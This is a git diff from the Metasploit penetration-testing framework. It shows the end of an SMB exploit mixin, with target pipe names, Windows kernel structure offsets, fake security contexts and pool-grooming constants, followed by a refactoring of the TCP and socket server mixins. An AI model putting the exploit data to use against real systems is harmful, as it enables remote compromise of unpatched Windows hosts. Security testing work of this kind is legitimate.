if pid != nil
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = pid
|
||||
end
|
||||
|
||||
# Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
|
||||
# Flags2: 0x4801, Error Code Type, Extended Security Negotiation, Long Names Allowed
|
||||
pkt['Payload']['SMB'].v['Flags2'] = if self.simple.client.require_signing then 0x4807 else 0x4801 end
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
@@last_multiplex_id = 1000 + Random.rand(20000)
|
||||
|
||||
def next_multiplex_id
|
||||
@@last_multiplex_id += 1 + Random.rand(21)
|
||||
if 0x4000 <= @@last_multiplex_id && @@last_multiplex_id <= 0x4110
|
||||
@@last_multiplex_id += 0x120
|
||||
end
|
||||
|
||||
return @@last_multiplex_id
|
||||
end
|
||||
|
||||
@@special_mid = 0
|
||||
@@extra_last_mid = 0
|
||||
|
||||
def reset_extra_multiplex_id()
|
||||
@@special_mid = (next_multiplex_id() & 0xff00) - 0x100
|
||||
@@extra_last_mid = @@special_mid
|
||||
end
|
||||
|
||||
def next_extra_multiplex_id()
|
||||
@@extra_last_mid += 1
|
||||
return @@extra_last_mid
|
||||
end
|
||||
|
||||
def calc_alloc_size(size, align_size)
|
||||
return (size + align_size - 1) & ~(align_size - 1)
|
||||
end
|
||||
|
||||
|
||||
# we will iter these if one is not specified
|
||||
@@target_pipes = [
|
||||
'netlogon',
|
||||
'lsarpc',
|
||||
'samr',
|
||||
'browser',
|
||||
'atsvc',
|
||||
'DAV RPC SERVICE',
|
||||
'epmapper',
|
||||
'eventlog',
|
||||
'InitShutdown',
|
||||
'keysvc',
|
||||
'lsass',
|
||||
'LSM_API_service',
|
||||
'ntsvcs',
|
||||
'plugplay',
|
||||
'protected_storage',
|
||||
'router',
|
||||
'SapiServerPipeS-1-5-5-0-70123',
|
||||
'scerpc',
|
||||
'srvsvc',
|
||||
'tapsrv',
|
||||
'trkwks',
|
||||
'W32TIME_ALT',
|
||||
'wkssvc',
|
||||
'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
|
||||
'db2remotecmd'
|
||||
]
|
||||
|
||||
WIN7_64_SESSION_INFO = {
|
||||
'SESSION_SECCTX_OFFSET'=> 0xa0,
|
||||
'SESSION_ISNULL_OFFSET'=> 0xba,
|
||||
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
||||
'SECCTX_SIZE'=> 0x28,
|
||||
}
|
||||
|
||||
WIN7_32_SESSION_INFO = {
|
||||
'SESSION_SECCTX_OFFSET'=> 0x80,
|
||||
'SESSION_ISNULL_OFFSET'=> 0x96,
|
||||
'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
|
||||
'SECCTX_SIZE'=> 0x1c,
|
||||
}
|
||||
|
||||
# win8+ info
|
||||
WIN8_64_SESSION_INFO = {
|
||||
'SESSION_SECCTX_OFFSET'=> 0xb0,
|
||||
'SESSION_ISNULL_OFFSET'=> 0xca,
|
||||
'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||
'SECCTX_SIZE'=> 0x38,
|
||||
}
|
||||
|
||||
WIN8_32_SESSION_INFO = {
|
||||
'SESSION_SECCTX_OFFSET'=> 0x88,
|
||||
'SESSION_ISNULL_OFFSET'=> 0x9e,
|
||||
'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||
'SECCTX_SIZE'=> 0x24,
|
||||
}
|
||||
|
||||
# win 2003 (xp 64 bit is win 2003)
|
||||
WIN2K3_64_SESSION_INFO = {
|
||||
'SESSION_ISNULL_OFFSET'=> 0xba,
|
||||
'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||
'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||
}
|
||||
|
||||
WIN2K3_32_SESSION_INFO = {
|
||||
'SESSION_ISNULL_OFFSET'=> 0x96,
|
||||
'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||
'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||
}
|
||||
|
||||
# win xp
|
||||
WINXP_32_SESSION_INFO = {
|
||||
'SESSION_ISNULL_OFFSET'=> 0x94,
|
||||
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
|
||||
}
|
||||
|
||||
WIN2K_32_SESSION_INFO = {
|
||||
'SESSION_ISNULL_OFFSET'=> 0x94,
|
||||
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
|
||||
}
|
||||
|
||||
# for windows 2008+
|
||||
WIN7_32_TRANS_INFO = {
|
||||
'TRANS_SIZE' => 0xa0, # struct size
|
||||
'TRANS_FLINK_OFFSET' => 0x18,
|
||||
'TRANS_INPARAM_OFFSET' => 0x40,
|
||||
'TRANS_OUTPARAM_OFFSET' => 0x44,
|
||||
'TRANS_INDATA_OFFSET' => 0x48,
|
||||
'TRANS_OUTDATA_OFFSET' => 0x4c,
|
||||
'TRANS_PARAMCNT_OFFSET' => 0x58,
|
||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
|
||||
'TRANS_FUNCTION_OFFSET' => 0x72,
|
||||
'TRANS_MID_OFFSET' => 0x80,
|
||||
}
|
||||
|
||||
WIN7_64_TRANS_INFO = {
|
||||
'TRANS_SIZE' => 0xf8, # struct size
|
||||
'TRANS_FLINK_OFFSET' => 0x28,
|
||||
'TRANS_INPARAM_OFFSET' => 0x70,
|
||||
'TRANS_OUTPARAM_OFFSET' => 0x78,
|
||||
'TRANS_INDATA_OFFSET' => 0x80,
|
||||
'TRANS_OUTDATA_OFFSET' => 0x88,
|
||||
'TRANS_PARAMCNT_OFFSET' => 0x98,
|
||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
|
||||
'TRANS_FUNCTION_OFFSET' => 0xb2,
|
||||
'TRANS_MID_OFFSET' => 0xc0,
|
||||
}
|
||||
|
||||
WIN5_32_TRANS_INFO = {
|
||||
'TRANS_SIZE' => 0x98, # struct size
|
||||
'TRANS_FLINK_OFFSET' => 0x18,
|
||||
'TRANS_INPARAM_OFFSET' => 0x3c,
|
||||
'TRANS_OUTPARAM_OFFSET' => 0x40,
|
||||
'TRANS_INDATA_OFFSET' => 0x44,
|
||||
'TRANS_OUTDATA_OFFSET' => 0x48,
|
||||
'TRANS_PARAMCNT_OFFSET' => 0x54,
|
||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
|
||||
'TRANS_FUNCTION_OFFSET' => 0x6e,
|
||||
'TRANS_PID_OFFSET' => 0x78,
|
||||
'TRANS_MID_OFFSET' => 0x7c,
|
||||
}
|
||||
|
||||
WIN5_64_TRANS_INFO = {
|
||||
'TRANS_SIZE' => 0xe0, # struct size
|
||||
'TRANS_FLINK_OFFSET' => 0x28,
|
||||
'TRANS_INPARAM_OFFSET' => 0x68,
|
||||
'TRANS_OUTPARAM_OFFSET' => 0x70,
|
||||
'TRANS_INDATA_OFFSET' => 0x78,
|
||||
'TRANS_OUTDATA_OFFSET' => 0x80,
|
||||
'TRANS_PARAMCNT_OFFSET' => 0x90,
|
||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
|
||||
'TRANS_FUNCTION_OFFSET' => 0xaa,
|
||||
'TRANS_PID_OFFSET' => 0xb4,
|
||||
'TRANS_MID_OFFSET' => 0xb8,
|
||||
}
|
||||
|
||||
X86_INFO = {
|
||||
'ARCH' => 'x86',
|
||||
'PTR_SIZE' => 4,
|
||||
'PTR_FMT' => 'V',
|
||||
'FRAG_TAG_OFFSET' => 12,
|
||||
'POOL_ALIGN' => 8,
|
||||
'SRV_BUFHDR_SIZE' => 8,
|
||||
}
|
||||
|
||||
X64_INFO = {
|
||||
'ARCH' => 'x64',
|
||||
'PTR_SIZE' => 8,
|
||||
'PTR_FMT' => 'Q<',
|
||||
'FRAG_TAG_OFFSET' => 0x14,
|
||||
'POOL_ALIGN' => 0x10,
|
||||
'SRV_BUFHDR_SIZE' => 0x10,
|
||||
}
|
||||
|
||||
OS_ARCH_INFO = {
|
||||
# for Windows Vista, 2008, 7 and 2008 R2
|
||||
'WIN7' => {
|
||||
'x86' => {
|
||||
'CPUARCH' => X86_INFO,
|
||||
'OFFSETS' => WIN7_32_TRANS_INFO,
|
||||
'SESSION' => WIN7_32_SESSION_INFO
|
||||
},
|
||||
'x64' => {
|
||||
'CPUARCH' => X64_INFO,
|
||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||
'SESSION' => WIN7_64_SESSION_INFO
|
||||
},
|
||||
},
|
||||
# for Windows 8 and later
|
||||
'WIN8' => {
|
||||
'x86' => {
|
||||
'CPUARCH' => X86_INFO,
|
||||
'OFFSETS' => WIN7_32_TRANS_INFO,
|
||||
'SESSION' => WIN8_32_SESSION_INFO
|
||||
},
|
||||
'x64' => {
|
||||
'CPUARCH' => X64_INFO,
|
||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||
'SESSION' => WIN8_64_SESSION_INFO
|
||||
},
|
||||
},
|
||||
'WINXP' => {
|
||||
'x86' => {
|
||||
'CPUARCH' => X86_INFO,
|
||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||
'SESSION' => WINXP_32_SESSION_INFO
|
||||
},
|
||||
'x64' => {
|
||||
'CPUARCH' => X64_INFO,
|
||||
'OFFSETS' => WIN5_64_TRANS_INFO,
|
||||
'SESSION' => WIN2K3_64_SESSION_INFO
|
||||
},
|
||||
},
|
||||
'WIN2K3' => {
|
||||
'x86' => {
|
||||
'CPUARCH' => X86_INFO,
|
||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||
'SESSION' => WIN2K3_32_SESSION_INFO
|
||||
},
|
||||
'x64' => {
|
||||
'CPUARCH' => X64_INFO,
|
||||
'OFFSETS' => WIN5_64_TRANS_INFO,
|
||||
'SESSION' => WIN2K3_64_SESSION_INFO
|
||||
},
|
||||
},
|
||||
'WIN2K' => {
|
||||
'x86' => {
|
||||
'CPUARCH' => X86_INFO,
|
||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||
'SESSION' => WIN2K_32_SESSION_INFO
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
def pick_ctx()
|
||||
pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
|
||||
@ctx = @ctx.merge(pick['CPUARCH'])
|
||||
@ctx = @ctx.merge(pick['OFFSETS'])
|
||||
@ctx = @ctx.merge(pick['SESSION'])
|
||||
@ctx
|
||||
end
|
||||
|
||||
|
||||
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
|
||||
TRANS_NAME_LEN = 4
|
||||
|
||||
X64_FRAG_TAG_OFFSET = 0x14
|
||||
X64_POOL_ALIGN = 0x10
|
||||
|
||||
X86_FRAG_TAG_OFFSET = 0x0c
|
||||
X86_POOL_ALIGN = 0x08
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,172 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides a generic interface for running a socket server of some
|
||||
# sort that is designed to exploit clients. Exploits that include this mixin
|
||||
# automatically take a passive stance.
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Remote::SocketServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Passive))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
|
||||
|
||||
], Msf::Exploit::Remote::SocketServer
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service'])
|
||||
], Msf::Exploit::Remote::SocketServer
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# This mixin overrides the exploit method so that it can initiate the
|
||||
# service that corresponds with what the client has requested.
|
||||
#
|
||||
def exploit
|
||||
|
||||
start_service()
|
||||
print_status("Server started.")
|
||||
|
||||
# Call the exploit primer
|
||||
primer
|
||||
|
||||
# Wait on the service to stop
|
||||
self.service.wait
|
||||
end
|
||||
|
||||
#
|
||||
# Primer method to call after starting service but before handling connections
|
||||
#
|
||||
def primer
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service, if one was created.
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
if(service)
|
||||
stop_service()
|
||||
print_status("Server stopped.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a client has data available for reading.
|
||||
#
|
||||
def on_client_data(client)
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the service. Override this method in consumers
|
||||
#
|
||||
def start_service(*args)
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service.
|
||||
#
|
||||
def stop_service
|
||||
if (service)
|
||||
begin
|
||||
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||
if self.service.kind_of?(Rex::Socket)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local host that is being listened on.
|
||||
#
|
||||
def srvhost
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port that is being listened on.
|
||||
#
|
||||
def srvport
|
||||
datastore['SRVPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Re-generates the payload, substituting the current RHOST and RPORT with
|
||||
# the supplied client host and port from the socket.
|
||||
#
|
||||
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
|
||||
|
||||
ohost = datastore['RHOST']
|
||||
oport = datastore['RPORT']
|
||||
p = nil
|
||||
|
||||
begin
|
||||
# Update the datastore with the supplied client peerhost/peerport
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
datastore['RPORT'] = cli.peerport
|
||||
|
||||
if ((p = super(arch, platform, target)) == nil)
|
||||
print_error("Failed to generate payload")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Allow the payload to start a new handler
|
||||
add_handler({
|
||||
'RHOST' => datastore['RHOST'],
|
||||
'RPORT' => datastore['RPORT']
|
||||
})
|
||||
|
||||
ensure
|
||||
datastore['RHOST'] = ohost
|
||||
datastore['RPORT'] = oport
|
||||
end
|
||||
|
||||
p
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Determines appropriate listener comm
|
||||
#
|
||||
def _determine_server_comm(srv_comm = datastore['ListenerComm'].to_s)
|
||||
case srv_comm
|
||||
when 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
when /\A[0-9]+\Z/
|
||||
comm = framework.sessions[srv_comm.to_i]
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
|
||||
when nil, ''
|
||||
comm = nil
|
||||
else
|
||||
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
|
||||
end
|
||||
|
||||
comm
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/socket_server'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -10,20 +12,18 @@ module Msf
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::TcpServer
|
||||
include Exploit::Remote::SocketServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Passive))
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]),
|
||||
# SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment)
|
||||
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']),
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
|
||||
|
||||
], Msf::Exploit::Remote::TcpServer)
|
||||
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)'])
|
||||
], Msf::Exploit::Remote::TcpServer
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
@@ -40,51 +40,11 @@ module Exploit::Remote::TcpServer
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# This mixin overrides the exploit method so that it can initiate the
|
||||
# service that corresponds with what the client has requested.
|
||||
#
|
||||
def exploit
|
||||
|
||||
start_service()
|
||||
print_status("Server started.")
|
||||
|
||||
# Call the exploit primer
|
||||
primer
|
||||
|
||||
# Wait on the service to stop
|
||||
self.service.wait
|
||||
end
|
||||
|
||||
#
|
||||
# Primer method to call after starting service but before handling connections
|
||||
#
|
||||
def primer
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service, if one was created.
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
if(service)
|
||||
stop_service()
|
||||
print_status("Server stopped.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a client connects.
|
||||
#
|
||||
def on_client_connect(client)
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a client has data available for reading.
|
||||
#
|
||||
def on_client_data(client)
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a client has disconnected.
|
||||
#
|
||||
@@ -97,12 +57,7 @@ module Exploit::Remote::TcpServer
|
||||
def start_service(*args)
|
||||
begin
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if comm == "local"
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
comm = _determine_server_comm
|
||||
|
||||
self.service = Rex::Socket::TcpServer.create(
|
||||
'LocalHost' => srvhost,
|
||||
@@ -151,38 +106,6 @@ module Exploit::Remote::TcpServer
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service.
|
||||
#
|
||||
def stop_service
|
||||
if (service)
|
||||
begin
|
||||
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||
if self.service.kind_of?(Rex::Socket)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local host that is being listened on.
|
||||
#
|
||||
def srvhost
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port that is being listened on.
|
||||
#
|
||||
def srvport
|
||||
datastore['SRVPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the SSL option
|
||||
#
|
||||
@@ -209,44 +132,6 @@ module Exploit::Remote::TcpServer
|
||||
datastore['SSLCompression']
|
||||
end
|
||||
|
||||
#
|
||||
# Re-generates the payload, substituting the current RHOST and RPORT with
|
||||
# the supplied client host and port from the socket.
|
||||
#
|
||||
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
|
||||
|
||||
ohost = datastore['RHOST']
|
||||
oport = datastore['RPORT']
|
||||
p = nil
|
||||
|
||||
begin
|
||||
# Update the datastore with the supplied client peerhost/peerport
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
datastore['RPORT'] = cli.peerport
|
||||
|
||||
if ((p = super(arch, platform, target)) == nil)
|
||||
print_error("Failed to generate payload")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Allow the payload to start a new handler
|
||||
add_handler({
|
||||
'RHOST' => datastore['RHOST'],
|
||||
'RPORT' => datastore['RPORT']
|
||||
})
|
||||
|
||||
ensure
|
||||
datastore['RHOST'] = ohost
|
||||
datastore['RPORT'] = oport
|
||||
end
|
||||
|
||||
p
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -3,18 +3,15 @@ module Msf::Module::External
|
||||
|
||||
def wait_status(mod)
|
||||
begin
|
||||
while mod.running
|
||||
m = mod.get_status
|
||||
if m
|
||||
case m.method
|
||||
when :message
|
||||
log_output(m)
|
||||
when :report
|
||||
process_report(m)
|
||||
when :reply
|
||||
# we're done
|
||||
break
|
||||
end
|
||||
while m = mod.get_status
|
||||
case m.method
|
||||
when :message
|
||||
log_output(m)
|
||||
when :report
|
||||
process_report(m)
|
||||
when :reply
|
||||
# we're done
|
||||
break
|
||||
end
|
||||
end
|
||||
rescue Interrupt => e
|
||||
@@ -72,6 +69,20 @@ module Msf::Module::External
|
||||
service[:name] = data['name'] if data['name']
|
||||
|
||||
report_service(service)
|
||||
when 'vuln'
|
||||
# Required
|
||||
vuln = {host: data['host'], name: data['name']}
|
||||
|
||||
# Optional
|
||||
vuln[:info] = data['info'] if data['info']
|
||||
vuln[:refs] = data['refs'] if data['refs']
|
||||
vuln[:port] = data['port'] if data['port']
|
||||
vuln[:proto] = data['port'] if data['port']
|
||||
|
||||
# Metasploit magic
|
||||
vuln[:refs] = self.references
|
||||
|
||||
report_vuln(vuln)
|
||||
else
|
||||
print_warning "Skipping unrecognized report type #{m.params['type']}"
|
||||
end
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user